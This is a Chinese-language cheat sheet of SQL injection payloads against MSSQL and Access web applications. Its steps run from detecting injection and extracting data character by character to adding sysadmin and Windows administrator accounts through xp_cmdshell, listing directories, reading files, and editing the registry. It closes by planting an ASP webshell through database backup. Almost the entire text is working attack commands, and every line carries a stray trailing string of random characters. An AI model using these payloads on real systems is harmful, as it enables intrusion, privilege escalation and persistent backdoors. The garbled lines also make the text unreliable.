1.判断是否有注入;and 1=1 ;and 1=2 {'NXJ!I;t
2.初步判断是否是mssql ;and user>0 kps}i~Jb
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3.注入参数是字符'and [查询条件] and ''=' 0@>
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' BG^)?_69
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5.判断数据库系统 HyYol*
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;and (select count(*) from sysobjects)>0 mssql bR*}
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;and (select count(*) from msysobjects)>0 access I''X\/|
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 @B9O*x+n:
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 .1F41UyL
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 4|h>.^
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9.(1)猜字段的ascii值(access) n'9&q]GN|
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ;7U"wI_~c
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(2)猜字段的ascii值(mssql) lS |:4U.
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Cig!3
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10.测试权限结构(mssql) p+}eP|N
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- R_gON*9
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- j"9Zaq_
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- >K*TgG6!X
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- b5?k)s2
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 1?{w~cF}
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- (d# W3
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;and 1=(select IS_MEMBER('db_owner'));-- &24>9
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11.添加mssql和系统的帐户 F32U;fp3
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;exec master.dbo.sp_addlogin username;-- 85ND 3F6q4
;exec master.dbo.sp_password null,username,password;-- [-2Tj)P
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- )]{&
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;exec master.dbo.xp_cmdshell 'net user username password w"OeS;#e:
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- p"QV| `
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- L lVE5f?
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12.(1)遍历目录 92g&,Wb
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;create table dirs(paths varchar(100), id int) CxJH)H$
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;insert dirs exec master.dbo.xp_dirtree 'c:\' d5 U+]g
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;and (select top 1 paths from dirs)>0 ~%u;lr
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) #i|AE`
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(2)遍历目录 kT4Oal+4
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- q|kkdK|N/Y
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 uOQl;}Lk5
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 [TX5O\g![
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 eC*-/$D
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13.mssql中的存储过程 Hy#<fKz`!
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xp_regenumvalues 注册表根键, 子键 ^fT?(y_=e
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 FdMxw*}
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xp_regread 根键,子键,键值名 kY]^~|i6
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;exec xp_regread Kf'oXCs
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 +oR wXO3W
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xp_regwrite 根键,子键, 值名, 值类型, 值 I-o|~
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 #ybtjsu'"U
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xp_regdeletevalue 根键,子键,值名 @G:aW\Z
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ,pMH`
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ]Z#=w
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14.mssql的backup创建webshell NY9\a[[^[8
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create table cmd(str image); % C.I2J`_
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insert into cmd(str) values (''); gdkQ
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backup database model to disk='c:\l.asp'; <u%&@G$F>
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15.mssql内置函数 tj=l!
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;and (select @@version)>0 获得Windows的版本号 |H7f@b]Sk
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa
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;and (select user_name())>0 爆当前系统的连接用户 cczV}m2)
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;and (select db_name())>0 得到当前连接的数据库 ygn]f*;?kw
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16.简洁的webshell {, `)
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use model zv}3Sl@
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create table cmd(str image); zEYT,l
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insert into cmd(str) values (''); EmO{lCENk
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backup database model to disk='g:\wwwtest\l.asp';